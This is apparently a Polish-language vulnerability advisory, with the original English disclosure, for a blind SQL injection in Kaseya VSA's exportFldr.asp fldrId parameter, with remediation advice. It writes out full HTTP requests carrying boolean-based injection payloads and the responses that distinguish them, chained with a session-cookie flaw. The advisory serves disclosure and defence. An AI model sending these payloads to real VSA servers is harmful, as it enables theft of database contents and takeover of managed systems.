Endpoint /InstallTab/exportFldr.asp w Kaseya VSA jest podatny na semi-uwierzytelniony boolean-based blind SQL injection w parametrze fldrId. Podatność pozwala atakującemu, który posiada ważne cookie sesji (możliwe do uzyskania przez CVE-2021-30116), na odczyt i manipulację zawartością bazy danych serwera VSA.
▸ Pokaż oryginał (EN)
The API call /InstallTab/exportFldr.asp is vulnerable to a semi-authenticated boolean-based blind SQL injection in the parameter fldrId. Detailed description --- Given the following request: ``` GET /InstallTab/exportFldr.asp?fldrId=1’ HTTP/1.1 Host: 192.168.1.194 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Cookie: ASPSESSIONIDCQACCQCA=MHBOFJHBCIPCJBFKEPEHEDMA; sessionId=30548861; agentguid=840997037507813; vsaUser=scopeId=3&roleId=2; webWindowId=59091519; ``` Where the sessionId cookie value has been obtained via CVE-2021-30116. The result should be a failure. Response: ``` HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Type: text/html; Charset=Utf-8 Date: Thu, 01 Apr 2021 19:12:11 GMT Strict-Transport-Security: max-age=63072000; includeSubDomains Connection: close Content-Length: 881 <!DOCTYPE html> <HTML> <HEAD> <title>Whoops.</title> <meta http-equiv="X-UA-Compatible" content="IE=Edge" /> <link id="favIcon" rel="shortcut icon" href="/themes/default/images/favicon.ico?307447361"></link> ----SNIP---- ``` However when fldrId is set to ‘(SELECT (CASE WHEN (1=1) THEN 1 ELSE (SELECT 1 UNION SELECT 2) END))’ the request is allowed. Request: ``` GET /InstallTab/exportFldr.asp?fldrId=%28SELECT%20%28CASE%20WHEN%20%281%3D1%29%20THEN%201%20ELSE%20%28SELECT%201%20UNION%20SELECT%202%29%20END%29%29 HTTP/1.1 Host: 192.168.1.194 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Cookie: ASPSESSIONIDCQACCQCA=MHBOFJHBCIPCJBFKEPEHEDMA; sessionId=30548861; agentguid=840997037507813; vsaUser=scopeId=3&roleId=2; webWindowId=59091519; ``` Response: ``` HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; Charset=Utf-8 Date: Thu, 01 Apr 2021 17:33:53 GMT Strict-Transport-Security: max-age=63072000; includeSubDomains Connection: close Content-Length: 7960 <html> <head> <title>Export Folder</title> <style> ------ SNIP ----- ```
Parametr fldrId przekazywany do endpointu /InstallTab/exportFldr.asp nie jest odpowiednio walidowany ani parametryzowany, co umożliwia wstrzyknięcie dowolnych wyrażeń SQL (CWE-89). Atak opiera się na technice boolean-based blind SQL injection — atakujący wysyła spreparowane zapytania warunkowe (np. CASE WHEN ... THEN ... ELSE ...) i na podstawie różnicy w odpowiedziach serwera (HTTP 500 vs HTTP 200) wnioskuje o zawartości bazy danych. Do wykonania ataku wymagane jest jedynie ważne cookie sessionId, które można uzyskać przez powiązaną podatność CVE-2021-30116, bez konieczności posiadania pełnych poświadczeń użytkownika.
Atakujący może odczytać poufne dane z bazy danych serwera Kaseya VSA (dane agentów, konfiguracje, poświadczenia), a potencjalnie również modyfikować lub usuwać dane, co w środowisku zarządzania IT może prowadzić do przejęcia kontroli nad zarządzanymi systemami.
Należy zaktualizować Kaseya VSA do wersji 9.5.6 lub nowszej, zgodnie z informacjami opublikowanymi przez producenta. Dodatkowo zaleca się ograniczenie dostępu do interfejsu webowego VSA wyłącznie do zaufanych adresów IP oraz monitorowanie prób nieautoryzowanego dostępu do endpointów API.
Kaseya VSA — wersje wskazane w referencjach producenta (patch dostępny od wersji 9.5.6 zgodnie z dokumentem producenta z 8 maja 2021)
Podatność wymaga tzw. semi-uwierzytelnienia — atakujący musi posiadać ważne cookie sessionId, które można uzyskać bez znajomości hasła przez powiązaną podatność CVE-2021-30116. Podatność została odkryta i ujawniona przez DIVD CSIRT (Dutch Institute for Vulnerability Disclosure). Data próbnego żądania testowego wskazana w opisie to 1 kwietnia 2021.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HKaseya Vsa
APPKaseya< 9.5.6
Powiązane podatności
Kaseya VSA — nieuwierzytelniony arbitrary file upload prowadzący do RCE
Kaseya VSA — pominięcie weryfikacji dwuskładnikowej (2FA bypass)
The API /vsaWS/KaseyaWS.asmx can be used to submit XML to the system. When this XML is processed (external) en...
Authenticated reflective XSS in HelpDeskTab/rcResults.asp The parameter result of /HelpDeskTab/rcResults.asp i...
Semi-authenticated local file inclusion The contents of arbitrary files can be returned by the webserver Examp...